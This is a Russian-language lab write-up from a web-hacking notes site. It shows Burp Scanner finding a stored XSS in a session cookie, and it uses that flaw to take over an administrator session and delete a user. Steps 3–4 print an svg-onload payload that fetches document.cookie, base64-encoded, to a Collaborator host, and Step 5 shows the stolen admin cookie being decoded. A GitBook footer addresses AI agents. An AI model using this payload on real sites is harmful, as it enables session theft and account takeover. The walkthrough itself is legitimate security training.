> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/essential-skills/analyzing-non-standard-data-structures.md).

# Анализ нестандартных структур данных

### Сканирование нестандартных структур данных

**Сведения о лабораторной работе**

Эта лабораторная работа содержит уязвимость, которую трудно обнаружить вручную, поскольку она находится в **нестандартной структуре данных**. / Цель состоит в том, чтобы использовать **Burp Scanner**, в частности **Сканировать выбранную точку вставки** функцию, чтобы обнаружить уязвимость, а затем вручную эксплуатировать её, чтобы **удалить пользователя `carlos`**.

Предоставленный идентификатор:

* **Пользователь**: wiener
* **Пароль**: peter

**Шаг 1 – Аутентификация**

Подключитесь к приложению через страницу входа, используя предоставленные учётные данные.

<figure><img src="/files/178b2e6637a0aa277494626e6c0ad56801ceed9e" alt=""><figcaption></figcaption></figure>

**Шаг 2 – Таргетированное сканирование в точке вставки**

Вместо запуска глобального сканирования выполняется высокотаргетированное сканирование:

* Перехватывается аутентифицированный запрос.
* Только **значение cookie сессии** выбирается.

<figure><img src="/files/92b0f50cce2ca422301eaeb2641585cfbb6a092b" alt=""><figcaption></figcaption></figure>

* Мы запускаем **Burp Scanner → Сканировать выбранную точку вставки** для этого конкретного элемента.

Это минималистичное сканирование позволяет проанализировать область, которую редко тестируют вручную: внутреннюю структуру cookie.

<figure><img src="/files/5a40c1b6edc29ee7ccaf3401c65c4c99d4a9b1aa" alt=""><figcaption></figcaption></figure>

**Шаг 3 – Обнаружение уязвимости**

Burp Scanner выявляет уязвимость типа:

* **Cross-Site Scripting (XSS), сохраняемая**

Обнаруженная полезная нагрузка внедряется непосредственно в cookie сессии.

<figure><img src="/files/053a26182f529ff19e7e9c0643ceb95add229f47" alt=""><figcaption></figcaption></figure>

Пример обнаруженной начальной полезной нагрузки:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Шаг 4 – Эксфильтрация cookie через Burp Collaborator**

Мы адаптируем полезную нагрузку, чтобы извлечь `document.cookie` содержимое на наш сервер Collaborator, закодированное в Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Затем мы **URL-кодируем** полезную нагрузку перед внедрением:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/bfcb000a552b3de2c905763ed282bfd6eda91a24" alt=""><figcaption></figcaption></figure>

**Шаг 5 – Восстановление и декодирование cookie администратора**

Сервер Collaborator получает запрос, содержащий cookie, закодированное в Base64:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

После декодирования мы получаем:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/77c6be0670e4880bc5fc4e66278f4dd1d171c2e8" alt=""><figcaption></figcaption></figure>

**Шаг 6 – Доступ администратора и финальная операция**

Используя cookie администраторской сессии:

* Интерфейс **admin** становится доступен.
* Внутренняя страница **логов** доступна.
* На этой странице cookies отображались без фильтрации, что объясняет сохранение **сохранённого XSS**.
* Затем становится возможным удалить пользователя **carlos** и подтвердить выполнение лабораторной работы.

<figure><img src="/files/9d37a341b9cf2004f99e363226b2a98e046b651e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
